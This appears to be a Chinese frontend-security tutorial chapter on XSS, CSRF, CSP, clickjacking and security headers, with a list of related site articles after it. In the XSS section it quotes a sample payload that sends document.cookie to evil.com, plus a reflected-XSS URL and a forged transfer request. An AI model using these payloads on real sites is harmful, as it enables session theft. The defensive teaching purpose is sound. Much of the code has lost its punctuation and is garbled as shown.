发布时间:2026/6/25 19:00:03
17-前端安全基础
前端安全基础XSS、CSRF、CSP理解前端安全威胁构建防御体系保护用户数据安全学习目标读完本文你将学会理解 XSS、CSRF 等常见前端安全漏洞的原理掌握各类攻击的防御手段配置 Content Security PolicyCSP了解安全头部和最佳实践一、XSS跨站脚本攻击1.1 攻击原理攻击者注入恶意脚本 ──▶ 用户浏览器执行 ──▶ 窃取 Cookie、伪造请求 示例: 用户在评论区输入: scriptfetch(https://evil.com?cookiedocument.cookie)/script 其他用户查看评论时脚本在其浏览器中执行1.2 XSS 类型存储型 XSS: 恶意脚本存储在服务器数据库影响所有访问者 例: 评论区、用户资料 反射型 XSS: 恶意脚本在 URL 中诱导用户点击 例: https://site.com/search?qscriptalert(1)/script DOM 型 XSS: 前端 JS 处理不当导致 例: location.hash 直接插入 DOM1.3 防御手段// 1. 输入过滤不信任任何用户输入functionescapeHtml(text){constdivdocument.createElement(div);div.textContenttext;returndiv.innerHTML;}// 2. 输出编码渲染到页面时转义// ❌ 危险element.innerHTMLuserInput;// ✅ 安全element.textContentuserInput;// 或使用 DOMPurifyimportDOMPurifyfromdompurify;element.innerHTMLDOMPurify.sanitize(userInput);// 3. Cookie 安全设置// HttpOnly: JS 无法读取// Secure: 仅 HTTPS 传输// SameSite: 限制跨站 Cookie 发送Set-Cookie:sessionxxx;HttpOnly;Secure;SameSiteStrict完整防御代码见CODE-ADVANCED/17-前端安全基础/xss-defense.html二、CSRF跨站请求伪造2.1 攻击原理用户已登录 bank.com ↓ 用户访问 evil.com ↓ evil.com 发送请求: POST bank.com/transfer?toattackeramount1000 ↓ bank.com 验证 Cookie 有效执行转账2.2 防御手段// 1. CSRF Token// 服务器生成随机 Token嵌入表单form action/transfermethodPOSTinput typehiddennamecsrf_tokenvalue随机字符串!--...--/form// 2. SameSite CookieSet-Cookie:sessionxxx;SameSiteLax// Strict: 完全禁止跨站携带// Lax: GET 请求可携带允许正常跳转// 3. 验证 Origin/Refererconstoriginrequest.headers.get(Origin);if(originorigin!https://bank.com){returnnewResponse(Forbidden,{status:403});}// 4. 双重 Cookie 验证// 发送请求时携带 Cookie 中的 token同时放入请求头fetch(/api/action,{headers:{X-CSRF-Token:getCookie(csrf_token)}});三、CSP内容安全策略3.1 配置示例Content-Security-Policy: default-src self; script-src self https://cdn.example.com nonce-abc123; style-src self unsafe-inline; img-src self data: https:; connect-src self https://api.example.com; font-src self https://fonts.gstatic.com; frame-ancestors none; base-uri self; form-action self;3.2 指令说明指令作用default-src默认策略其他未指定指令继承script-src允许加载 JS 的来源style-src允许加载 CSS 的来源img-src允许加载图片的来源connect-src允许 fetch/XHR/WebSocket 的目标frame-ancestors允许嵌入当前页面的来源防点击劫持base-uri限制 base 标签!-- HTML Meta 标签配置 CSP --metahttp-equivContent-Security-Policycontentdefault-src self; script-src self unsafe-inline!-- 使用 nonce --scriptnonceabc123console.log(此脚本被 CSP 允许);/script四、其他安全威胁4.1 点击劫持Clickjacking攻击者用 iframe 嵌入目标网站覆盖透明按钮 用户以为点击的是 A实际点击的是 B 防御: X-Frame-Options: DENY // 完全禁止嵌入 X-Frame-Options: SAMEORIGIN // 仅同域可嵌入 // 或 CSP: frame-ancestors none4.2 敏感数据泄露// ❌ 错误前端暴露敏感配置constconfig{apiKey:sk-1234567890abcdef,// 泄漏dbPassword:secret123// 泄漏};// ✅ 正确敏感操作由后端处理// 前端只存储非敏感配置constconfig{apiEndpoint:/api/v1,maxUploadSize:10*1024*1024};4.3 安全头部汇总Strict-Transport-Security: max-age31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation(), microphone(), camera()二、常见误区与注意点误区正确做法前端验证就够了前端验证只提升体验后端必须二次验证使用 innerHTML 没问题永远不要将用户输入直接插入 innerHTMLHTTPS 就安全了HTTPS 只防窃听不防 XSS/CSRFCSP 影响开发效率开发时用 report-only 模式不影响功能安全是后端的事前端是安全的第一道防线三、动手练习练习 1XSS 防御实现创建一个评论组件实现输入转义和 DOMPurify 过滤。练习 2CSP 配置为一个单页应用编写 CSP 策略确保功能正常的同时限制脚本来源。四、AI 辅助学习4.1 本节知识点的 AI 提问模板“XSS 和 CSRF 的区别是什么”“如何配置 CSP 既安全又不影响现有功能”“SameSite Cookie 的三种模式有什么区别”4.2 警惕 AI 的常见错误AI 可能推荐已被弃用的安全头部如 X-XSS-ProtectionAI 可能生成存在 XSS 漏洞的示例代码五、配套代码本文示例代码位于CODE-ADVANCED/17-前端安全基础/文件名说明xss-defense.htmlXSS 攻击与防御演示csrf-demo.jsCSRF Token 实现示例csp-config.htmlCSP 策略配置示例security-headers.js安全头部配置汇总六、本章小结XSS对用户输入进行转义和过滤使用 textContent 替代 innerHTMLCSRF使用 Token、SameSite Cookie、Origin 验证CSP限制资源加载来源防止脚本注入安全是系统工程前后端需要协同防御如果本文对你有帮助欢迎点赞、收藏、关注专栏。有任何问题可以在评论区交流

相关新闻

终极解决电脑风扇噪音难题:FanControl免费调校完整指南
2026/6/25 19:00:03

终极解决电脑风扇噪音难题:FanControl免费调校完整指南

终极解决电脑风扇噪音难题:FanControl免费调校完整指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/f…

阅读更多
计算机毕业设计之基于ssm的宠物医院管理系统
2026/6/25 19:00:03

计算机毕业设计之基于ssm的宠物医院管理系统

快速发展的社会中,人们的生活水平都在提高,生活节奏也在逐渐加快。为了节省时间和提高工作效率,越来越多的人选择利用互联网进行线上打理各种事务,然后线上管理系统也就相继涌现。与此同时,人们开始接受方便的生活方式…

阅读更多
临床AI代理为何跳过工具?医疗决策中的硬性闸门设计
2026/6/25 19:00:03

临床AI代理为何跳过工具?医疗决策中的硬性闸门设计

1. 项目概述:当临床AI代理“不听话”时,我们真正该担心的不是它跳过了工具,而是它为什么能跳过“I Built a Clinical AI Agent — and It Skipped the Tools I Gave It”这个标题一出来,我在医院信息科和AI医疗创业公司里带过的十…

阅读更多
手写自编码器实战:从信息论到工业级异常检测
2026/6/25 20:00:03

手写自编码器实战:从信息论到工业级异常检测

1. 这不是又一个“调包教程”:为什么今天还要手写自编码器你点开这篇博文,大概率刚在Keras官网上扫过tf.keras.layers.Dense的API文档,或者正被某篇论文里“latent representation”这个词卡住三分钟——不是不懂定义,是不知道它落…

阅读更多
基于森林与质心分解的图稀疏性判定算法详解
2026/6/25 20:00:03

基于森林与质心分解的图稀疏性判定算法详解

1. 从“稠密”到“稀疏”:一个图论中的经典判定问题在算法竞赛和实际工程中,我们常常会遇到一类图论问题:给定一个无向图,如何高效地判断它是否“稀疏”?这里的“稀疏”并非一个模糊的感性概念,而是有严格数…

阅读更多
LS1046ARDB开发板启动与系统部署:从flex-installer自动化到U-Boot手动烧录
2026/6/25 20:00:03

LS1046ARDB开发板启动与系统部署:从flex-installer自动化到U-Boot手动烧录

1. 项目概述与核心价值拿到一块崭新的NXP Layerscape开发板,比如LS1046ARDB,第一件事是什么?没错,就是让它“活”起来,跑起一个可用的系统。这个过程,我们称之为“板卡启动与系统部署”。对于刚接触嵌入式开…

阅读更多
计算机Python毕设实战-基于 Python+Vue 的电商商品购物管理系统设计与实现 基于 Python+Vue 的中小型店铺购物管理系统设【完整源码+LW+部署说明+演示视频,全bao一条龙等】
2026/6/25 20:00:03

计算机Python毕设实战-基于 Python+Vue 的电商商品购物管理系统设计与实现 基于 Python+Vue 的中小型店铺购物管理系统设【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

阅读更多
2026深度实测GPT-5.5:编程能力跃升、幻觉砍半、多模态跨入“理解”时代,开发者如何选型?
2026/6/25 20:00:03

2026深度实测GPT-5.5:编程能力跃升、幻觉砍半、多模态跨入“理解”时代,开发者如何选型?

一、从“补代码”到“盲写程序”,编程能力质变了吗? 2026年的大模型竞赛,编程能力是开发者最关心的核心指标。GPT-5.5在这个维度上拿出了令整个行业侧目的成绩——ProgramBench全球首破。 ProgramBench有多难?它不给源码&#xff…

阅读更多
17-前端安全基础
2026/6/25 19:00:03

17-前端安全基础

前端安全基础XSS、CSRF、CSP:理解前端安全威胁,构建防御体系,保护用户数据安全学习目标 读完本文,你将学会: 理解 XSS、CSRF 等常见前端安全漏洞的原理掌握各类攻击的防御手段配置 Content Security Policy&#xff08…

阅读更多
嵌入式语音编解码实战:G.726 ADPCM库集成与优化指南
2026/6/25 12:25:54

嵌入式语音编解码实战:G.726 ADPCM库集成与优化指南

1. 项目概述与G.726 ADPCM技术背景在嵌入式语音处理领域,带宽和存储资源往往是寸土寸金的。如果你做过对讲机、VoIP网关或者早期的数字录音设备,一定对如何在有限的比特率下保住语音可懂度这件事深有感触。我当年接手一个车载调度系统的项目,…

阅读更多
ITU656格式化器寄存器配置实战:VBI数据处理与VCR特技播放兼容性
2026/6/24 9:40:21

ITU656格式化器寄存器配置实战:VBI数据处理与VCR特技播放兼容性

1. 项目概述与核心挑战在数字视频处理领域,将原始的视频数据、同步时序以及各种辅助信息打包成一个标准、稳定的串行数据流,是确保设备间互联互通的基础。ITU-R BT.656标准(常简称为ITU656)正是为此而生的一套“交通规则”。它定义…

阅读更多
嵌入式GUI开发实战:emWin环境搭建、配置优化与性能调优指南
2026/6/25 20:03:50

嵌入式GUI开发实战:emWin环境搭建、配置优化与性能调优指南

1. 项目概述与emWin核心价值解析在嵌入式系统开发领域,人机交互(HMI)的设计正从简单的LED指示灯和按键,快速向全彩图形化界面演进。无论是智能家电上的触摸屏、工业PLC的操作面板,还是医疗设备的参数显示,一…

阅读更多
Redis容器重启循环问题排查与数据持久化完整指南
2026/6/25 11:59:59

Redis容器重启循环问题排查与数据持久化完整指南

一、问题背景在微服务和云原生开发中,Redis作为高性能缓存数据库被广泛使用。许多开发者会通过Docker部署Redis,并配合Spring Boot应用进行开发。然而,容器运行过程中难免遇到意外故障,例如容器状态异常、端口冲突、数据丢失等。本…

阅读更多
化学机器学习实战:从分子特征到可部署API的七步炼金术
2026/6/25 11:59:59

化学机器学习实战:从分子特征到可部署API的七步炼金术

1. 这不是“AI画分子图”——化学家正在用机器学习重写实验手册“Machine Learning in Chemistry”这个标题听起来像学术会议上的一个分论坛名称,但如果你真去翻看最近五年《Nature Chemistry》《Journal of Chemical Information and Modeling》的高被引论文&#…

阅读更多
如何快速上手Windows 12网页版:面向新手的终极在线体验指南
2026/6/25 11:59:59

如何快速上手Windows 12网页版:面向新手的终极在线体验指南

如何快速上手Windows 12网页版:面向新手的终极在线体验指南 【免费下载链接】win12 Windows 12 网页版,在线体验 点击下面的链接在线体验 项目地址: https://gitcode.com/gh_mirrors/wi/win12 Windows 12网页版在线体验为你提供了一种革命性的操作…

阅读更多
GIT修改用户名
2026/6/24 16:02:34

GIT修改用户名

在GIT中修改用户名可按以下步骤操作: 查看当前git的用户名,使用命令git config --list或git config user.name。修改git用户名,使用命令git config --global user.name "xxx(新的用户名)",将其中…

阅读更多
Win11Debloat:让你的Windows系统重获新生的终极优化工具
2026/6/23 23:39:46

Win11Debloat:让你的Windows系统重获新生的终极优化工具

Win11Debloat:让你的Windows系统重获新生的终极优化工具 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and …

阅读更多
技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践
2026/6/24 18:38:44

技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践

技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter m4s-converter是一个…

阅读更多